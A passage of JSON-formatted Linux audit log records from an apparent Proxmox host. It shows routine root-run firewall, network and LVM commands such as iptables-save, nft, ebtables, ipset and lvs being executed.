egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"qm\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.222:69352): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325040,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.040:65111): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965083409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965083.409:64087): arch=c000003e syscall=59 success=yes exit=0 a0=620c177f5940 a1=620c1dcc8bb0 a2=620c17225c10 a3=b items=2 ppid=1216 pid=61568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ss\" exe=\"/usr/bin/ss\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.222:69351): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965322581,"@rawstring":"node=pve type=EXECVE msg=audit(1781965322.581:65110): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965081723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965081.723:64086): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.046:69350): proctitle=\"ebtables-restore\""} {"@timestamp":1781965322571,"@rawstring":"node=pve type=EXECVE msg=audit(1781965322.571:65107): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965081713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965081.713:64083): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.043:69349): proctitle=\"ebtables-restore\""} {"@timestamp":1781965317563,"@rawstring":"node=pve type=EXECVE msg=audit(1781965317.563:65104): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965076706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.706:64080): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.039:69348): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=EXECVE msg=audit(1781965317.553:65101): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965076697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.697:64077): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315942,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.942:65098): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966336036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.036:69347): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965076449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.449:64074): arch=c000003e syscall=59 success=yes exit=0 a0=5f242b0d99c8 a1=5f244d63b740 a2=5f244d63b798 a3=8 items=2 ppid=61554 pid=61555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315938,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.938:65097): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966336035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.035:69346): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.444:64073): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6b4860ac8 a1=7ffca6f4f4e0 a2=5ad6ddb05680 a3=5ad6b484424e items=2 ppid=61464 pid=61554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315936,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.936:65096): argc=1 a0=\"date\""} {"@timestamp":1781966336035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.035:69345): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076440,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.440:64072): arch=c000003e syscall=59 success=yes exit=0 a0=6306204ca9c8 a1=630660223740 a2=630660223798 a3=8 items=2 ppid=61552 pid=61553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315932,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.932:65094): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966336031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.031:69344): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076437,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.437:64071): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6b4860ac8 a1=7ffca6f4f4e0 a2=5ad6ddb05680 a3=5ad6b484424e items=2 ppid=61464 pid=61552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315924,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.924:65093): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966336026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.026:69343): proctitle=69707365740073617665"} {"@timestamp":1781965076431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.431:64070): arch=c000003e syscall=59 success=yes exit=0 a0=652f317f17c0 a1=652f317f1918 a2=652f317f19a0 a3=8 items=2 ppid=61550 pid=61551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315918,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.918:65092): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966336020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.020:69342): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965076427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.427:64069): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6b4860ac8 a1=7ffca6f4f4e0 a2=5ad6ddb05680 a3=5ad6b484424e items=2 ppid=61464 pid=61550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315911,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.911:65091): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966336015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.015:69341): proctitle=\"ip6tables-save\""} {"@timestamp":1781965076419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.419:64068): arch=c000003e syscall=59 success=yes exit=0 a0=584560087718 a1=584560087808 a2=5845600879c8 a3=8 items=2 ppid=61548 pid=61549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315903,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.903:65090): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966336010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.010:69340): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965076415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.415:64067): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6b4860ac8 a1=7ffca6f4f4e0 a2=5ad6ddb05680 a3=5ad6b484424e items=2 ppid=61464 pid=61548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315895,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.895:65088): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966336005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.005:69339): proctitle=\"iptables-save\""} {"@timestamp":1781965076384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.384:64066): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13e5770 a1=5ad6e13ed010 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315888,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.888:65087): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966335999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966335.999:69338): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965076375,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.375:64065): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13e60d0 a1=5ad6e1405300 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315883,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.883:65086): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966335993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966335.993:69337): proctitle=\"ip6tables-save\""} {"@timestamp":1781965076369,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.369:64064): arch=c000003e syscall=46 success=yes exit=40 a0=3 a1=7ffda9aac9f0 a2=0 a3=0 items=0 ppid=61464 pid=61545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781965315877,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.877:65085): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966335988,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966335.988:69336): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965076319,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.319:64063): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13e5d10 a1=5ad6e140ecf0 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315871,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.871:65084): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966335982,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966335.982:69335): proctitle=\"iptables-save\""} {"@timestamp":1781965076310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.310:64062): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ec420 a1=5ad6e13ed010 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315865,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.865:65083): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966334839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966334.839:69334): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965076307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.307:64061): arch=c000003e syscall=46 success=yes exit=40 a0=3 a1=7ffd0bca7670 a2=0 a3=0 items=0 ppid=61464 pid=61531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781965315858,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.858:65082): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966334814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966334.814:69333): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965076302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.302:64060): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13e72d0 a1=5ad6e13dca50 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315852,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.852:65081): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966334104,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966334.104:69332): proctitle=\"clear\""} {"@timestamp":1781965076292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.292:64059): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ecb40 a1=5ad6e0ff71c0 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315847,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.847:65080): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966331.215:69331): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.277:64058): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ed450 a1=5ad6e1400c40 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315840,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.840:65079): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966331.215:69330): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.280:64057): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18b17a0 a1=5b65b17f58c0 a2=5b65b1a7eee0 a3=0 items=2 ppid=61465 pid=61523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315839,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.839:65078): argc=1 a0=\"date\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966331.215:69329): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.278:64056): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1835a30 a1=5b65b18b17a0 a2=5b65b1a7eee0 a3=0 items=3 ppid=61465 pid=61522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315831,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.831:65076): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966331.210:69328): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.278:64055): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18b17a0 a1=5b65b18ae1f0 a2=5b65b17f5fc0 a3=0 items=2 ppid=61470 pid=61521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315823,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.823:65075): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966331.210:69327): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.277:64054): arch=c000003e syscall=280 success=yes exit=0 a0=17 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965315816,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.816:65074): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966331.210:69326): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.272:64053): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1835a30 a1=5b65b18b17a0 a2=5b65b17f5fc0 a3=0 items=3 ppid=61470 pid=61519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315811,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.811:65073): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966326.203:69325): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.268:64051): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ed810 a1=5ad6e1400c40 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315802,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.802:65072): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966326.203:69324): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.272:64052): arch=c000003e syscall=59 success=yes exit=0 a0=5622dafff710 a1=5622d06ce978 a2=5622dafff6b8 a3=0 items=2 ppid=61517 pid=61518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781965315795,"@rawstring":"node=pve type=EXECVE msg=audit(1781965315.795:65071): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966326.203:69323): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.271:64050): arch=c000003e syscall=280 success=yes exit=0 a0=15 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965314943,"@rawstring":"node=pve type=EXECVE msg=audit(1781965314.943:65070): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966326.197:69322): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.270:64049): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18b17a0 a1=5b65b17f58c0 a2=5b65b185b760 a3=0 items=3 ppid=61465 pid=61517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965314916,"@rawstring":"node=pve type=EXECVE msg=audit(1781965314.916:65069): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966326.197:69321): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.270:64048): arch=c000003e syscall=59 success=yes exit=0 a0=55bc9386d710 a1=55bc8919b978 a2=55bc9386d6b8 a3=0 items=2 ppid=61514 pid=61516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781965312545,"@rawstring":"node=pve type=EXECVE msg=audit(1781965312.545:65068): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966326.197:69320): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.267:64047): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18b17a0 a1=5b65b18ae1f0 a2=5b65b18563a0 a3=0 items=3 ppid=61470 pid=61514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965312534,"@rawstring":"node=pve type=EXECVE msg=audit(1781965312.534:65065): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966325975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.975:69319): proctitle=\"ebtables-restore\""} {"@timestamp":1781965076257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.257:64046): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ee010 a1=5ad6e1400490 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965307522,"@rawstring":"node=pve type=EXECVE msg=audit(1781965307.522:65062): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966325972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.972:69318): proctitle=\"ebtables-restore\""} {"@timestamp":1781965076250,"@rawstring":"node=pve type=SYSCALL 